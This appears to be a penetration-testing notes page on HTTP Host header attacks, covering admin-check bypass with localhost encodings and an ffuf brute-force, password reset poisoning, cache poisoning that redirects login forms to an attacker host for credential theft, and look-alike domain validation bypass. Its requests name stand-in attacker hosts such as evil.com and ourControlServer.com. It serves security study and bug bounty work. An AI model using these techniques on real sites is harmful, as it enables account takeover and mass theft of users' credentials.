Overwrite Host headers#
- X-Forwarded-Host
- X-HTTP-Host-Override
- Forwarded
- X-Host
- X-Forwarded-Server
Example 1 - Authentication Bypass#
Imagine a web server only allow admin login locally. Normally, the most apparent and secure option would be to check the IP address of the request like this in PHP:
$_SERVER['REMOTE_ADDR']. However, using source IP might be causing more issues when the webapp is behind a load balancer or reverse proxy. So many might opt into using theHost:header to determine if the request is made from local network
We can try input localhost in Host: header
GET /admin HTTP/1.1
Host: localhostIf that doesn’t work, try others like
- Weird casing:
loCalHoSt - Decimal encoding:
2130706433 - Hex encoding:
0x7f000001 - Octal encoding:
0177.0000.0000.0001 - Zero:
0 - Short form:
127.1 - IPv6:
::1 - IPv4 address in IPv6 format:
[0:0:0:0:0:ffff:127.0.0.1]or[::ffff:127.0.0.1]
If it is checking for specific IP, it is doable but quite tedious due to the large number of local IP.
First, we can create a wordlist of IP in 192.168.0.0/16 range. There are also 10.0.0.0/8 range, and 172.16.0.0/12 for localhost.
for a in {1..255};do
for b in {1..255};do
echo "192.168.$a.$b" >> ips.txt
done
doneThen we can brute force it with 250 thread. Remember to set filter code -fc and filter size -fs
ffuf -u 'http://website.com/admin' -H 'Host: FUZZ' -w ./ips.txt:FUZZ -c -t 250Example 2 - Password Reset Poisoning#
This web application uses hostname from the
Host:header to construct an absolute link And again,Host:header is a user input We cannot exploit this for XSS, howerver. Since any invalid characters like"><gets rejected immediately by the web server.
We found an application that uses absolute link on web page
HTTP/1.1 200 OK
...
<link rel="stylesheet" type="text/css" href="https://example.com/script.js"
...We then try to edit the Host: header to see if there is any reaction
GET / HTTP/1.1
Host: evil.comAnd the hostname is reflected on the absolute link. However, we cannot do XSS (read above).
HTTP/1.1 200 OK
...
<link rel="stylesheet" type="text/css" href="https://evil.com/script.js"
...Now we know that the web application is constructing the absolute link from the Host: header.
We explore the webapp more and found a password reset page. We reset our own password, but with our injected hosts header.
POST /reset HTTP/1.1
Host: evil.com
email=myaccount@email.comAnd we received a password reset link in our email with our injected Host: header
https://evil.com/reset.php?token=asdasdasdasdasdNow we can host a exfiltration server (see HTTPS Exfiltration Server), make a password reset with the Host: header being our controlled server hostname, and the email of our victim.
POST /reset HTTP/1.1
Host: ourControlServer.com
email=victim@email.comWe need user interaction to exploit this. But for bug bounty, demonstrate this with 2 accounts is good enough to receive bounty, and the Account Takeover inpact type is very serious.
Example 3 - Cache poisoning#
This web application uses hostname from the
Host:header to construct an absolute link This webapp is also behind a web cache, and theHost:parameter is keyed (see Cache Poisoning)
We found an application that uses absolute link for a login form.
HTTP/1.1 200 OK
...
<form action="http://example.com/login.php" method="post" name="Login_Form" class="form-signin" id="form">
...We then try to edit the Host: header to see if there is any reaction
GET / HTTP/1.1
Host: evil.comAnd the hostname is reflected on the absolute link.
HTTP/1.1 200 OK
...
<form action="http://evil.com/login.php" method="post" name="Login_Form" class="form-signin" id="form">
...Now we know:
- The web application is constructing the absolute link from the
Host:header. - However, the
Host:header is keyed, meaning that users have to specifically request with thisHost:header value to manipulate the absolute link, which is quite impossible. It would mean that they hacked themselves.
To solve that, we can try other headers to overwrite the Host: header. See #Overwrite Host headers
We use the Host header as cache buster, trying each overwrite header to see which one will overwrite the Host header
GET / HTTP/1.1
Host: abc.evil.com
X-Forwarded-Host: ourControlServer.comAnd another one, until we found one that can overwrite Host header
GET / HTTP/1.1
Host: abcd.evil.com
X-HTTP-Host-Override: ourControlServer.comAnd we finally found a header that works
GET / HTTP/1.1
Host: abcdefgh.evil.com
X-Host: ourControlServer.comThis is how the web server response. It uses value in X-Host header to construct absolute link instead of what in Host header.
HTTP/1.1 200 OK
...
<form action="http://ourControlServer.com/login.php" method="post" name="Login_Form" class="form-signin" id="form">
...Now we can exploit this by changing the Host header to the webapp’s legitimate hostname. Time this request immediately after the cache expired.
GET / HTTP/1.1
Host: example.com
X-Host: ourControlServer.comSince Host header is in cache key, and X-Host is unkeyed, it will display this to every legit user accessing the page.
HTTP/1.1 200 OK
...
<form action="http://ourControlServer.com/login.php" method="post" name="Login_Form" class="form-signin" id="form">
...So every time a user enter their credentials, it will go to our control server instead of the webapp, and we can exfiltrate login credentials. Mass credentials exfiltration.
NOTE: we can also do mass XSS if the server load a script from absolute link. For example. server loads a script like this
<script src="http://example.com/script.jsWe host our own control serverourControlServer.com, host a script on it at/script.jsDo the same cache poisoning again. Now every user accessing the website will be hit with our XSS
Example 4 - Bypass Validation#
Same rodeo, web server uses Host header to construct absolute links. However, now there is a check
If the web server only check if the Host header contains its hostname, we can try bypassing by prepending or appending and register those domain to exfiltrate
GET / HTTP/1.1
Host: evilexample.comor appending
GET / HTTP/1.1
Host: example.com.evil.com